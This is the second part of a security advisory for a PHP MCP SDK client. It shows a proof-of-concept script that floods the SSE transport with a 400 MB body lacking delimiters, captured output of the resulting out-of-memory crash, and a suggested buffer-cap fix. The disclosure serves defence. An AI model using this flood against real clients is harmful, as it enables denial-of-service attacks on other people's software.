Advisory

GHSA-7m52-jw36-44r3

Details, part 2 of 2. The advisory

Details

public function getMetadata(?string $k=null) { return null; }
};
$t->inject($stream);
$before = memory_get_usage(true);
for ($i=0;$i<5000 && !$stream->eof();$i++) $t->pump();
fwrite(STDERR,"[control] events fed : 1000 well-formed SSE events (delimited by \\n\\n)\n");
fwrite(STDERR,"[control] mem before : ".fmtMB($before)."\n");
fwrite(STDERR,"[control] mem after : ".fmtMB(memory_get_usage(true))."\n");
fwrite(STDERR,"[control] RESULT : bounded, no OOM (each event flushed on \\n\\n)\n");
exit(0);
}

ini_set('memory_limit','256M');
$SIZE = 400*1024*1024; // 400MB SSE body, NO "\n\n"
$t->inject(new FloodStream($SIZE));
fwrite(STDERR,"[attack] SSE body : ".fmtMB($SIZE)." with NO \\n\\n delimiter\n");
fwrite(STDERR,"[attack] memory_limit : ".ini_get('memory_limit')."\n");
fwrite(STDERR,"[attack] mem before : ".fmtMB(memory_get_usage(true))."\n");
register_shutdown_function(function() {
$err = error_get_last();
fwrite(STDERR,"[attack] peak mem : ".number_format(memory_get_peak_usage(true)/1048576,1)." MB\n");
if ($err && stripos($err['message'],'memory')!==false)
fwrite(STDERR,"[attack] RESULT : OOM — ".trim($err['message'])."\n");
});
for ($i=0;;$i++) { $t->pump(); } // each pump reads one 4096 chunk -> sseBuffer


Negative control — 1000 well-formed SSE events delimited by `"\n\n"`: each pump
flushes complete events, the buffer drains, memory stays flat:

$ php poc_sse.php control
[control] events fed : 1000 well-formed SSE events (delimited by \n\n)
[control] mem before : 2.0 MB
[control] mem after : 2.0 MB
[control] RESULT : bounded, no OOM (each event flushed on \n\n)


Attack — a 400 MB SSE body with no `"\n\n"`, client heap capped at 256 MB to make
the crash deterministic (a production client has a larger or unbounded limit and
is killed by the OS at whatever ceiling exists):

$ php poc_sse.php attack
[attack] SSE body : 400.0 MB with NO \n\n delimiter
[attack] memory_limit : 256M
[attack] mem before : 2.0 MB
PHP Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 264241184 bytes) in /private/tmp/work/vendor/mcp/sdk/src/Client/Transport/HttpTransport.php on line 203
Stack trace:
#0 [internal function]: Mcp\Client\Transport\HttpTransport->processSSEStream()
#1 /private/tmp/work/poc_sse.php(69): ReflectionMethod->invoke(Object(ProbeHttp))
#2 /private/tmp/work/poc_sse.php(129): ProbeHttp->pump()
#3 {main}
[attack] peak mem : 256.0 MB
[attack] RESULT : OOM — Allowed memory size of 268435456 bytes exhausted (tried to allocate 264241184 bytes)


The fatal error lands on the released vendor file
`vendor/mcp/sdk/src/Client/Transport/HttpTransport.php` line 203, inside
`processSSEStream()`, while the delimiter-respecting control workload stays at
2.0 MB. This confirms the unbounded SSE accumulation on the real released package.

## Suggested fix

Bound the SSE buffer length and reject (or abort the stream) when it exceeds a
configured maximum, so a server cannot force unbounded growth before a complete
event arrives. For example:

```php
private const MAX_SSE_BUFFER_BYTES = 8 * 1024 * 1024; // 8 MiB, configurable

private function processSSEStream(): void
{
    if (null === $this->activeStream) {
        return;
    }

    if (!$this->activeStream->eof()) {
        $chunk = $this->activeStream->read(4096);
        if ('' !== $chunk) {
            if (\strlen($this->sseBuffer) + \strlen($chunk) > self::MAX_SSE_BUFFER_BYTES) {
                $this->sseBuffer = '';
                $this->activeStream = null;
                $this->logger->warning('Aborting SSE stream: buffer exceeded maximum size without a complete event.', [
                    'max_sse_buffer_bytes' => self::MAX_SSE_BUFFER_BYTES,
                ]);

                return;
            }
            $this->sseBuffer .= $chunk;
        }
    }

    while (false !== ($pos = strpos($this->sseBuffer, "\n\n"))) {
        $event = substr($this->sseBuffer, 0, $pos);
        $this->sseBuffer = substr($this->sseBuffer, $pos + 2);

        if (!empty(trim($event))) {
            $this->processSSEEvent($event);
        }
    }

    if ($this->activeStream->eof() && empty($this->sseBuffer)) {
        $this->activeStream = null;
    }
}

The cap value and the over-limit policy (abort vs. error) are the maintainers'
call. A fix PR against a private fork of the advisory workspace accompanies this
report.

Fix PR

A patch bounding the SSE buffer is provided as a pull request against the private
temporary fork created for this advisory (the GHSA workspace fork). Details and
link are added to this advisory's thread once the private fork PR is opened. The
patch keeps the SSE event-parsing behaviour unchanged and only caps the buffer.

Credit

Reported by tonghuaroot.

Sources & licences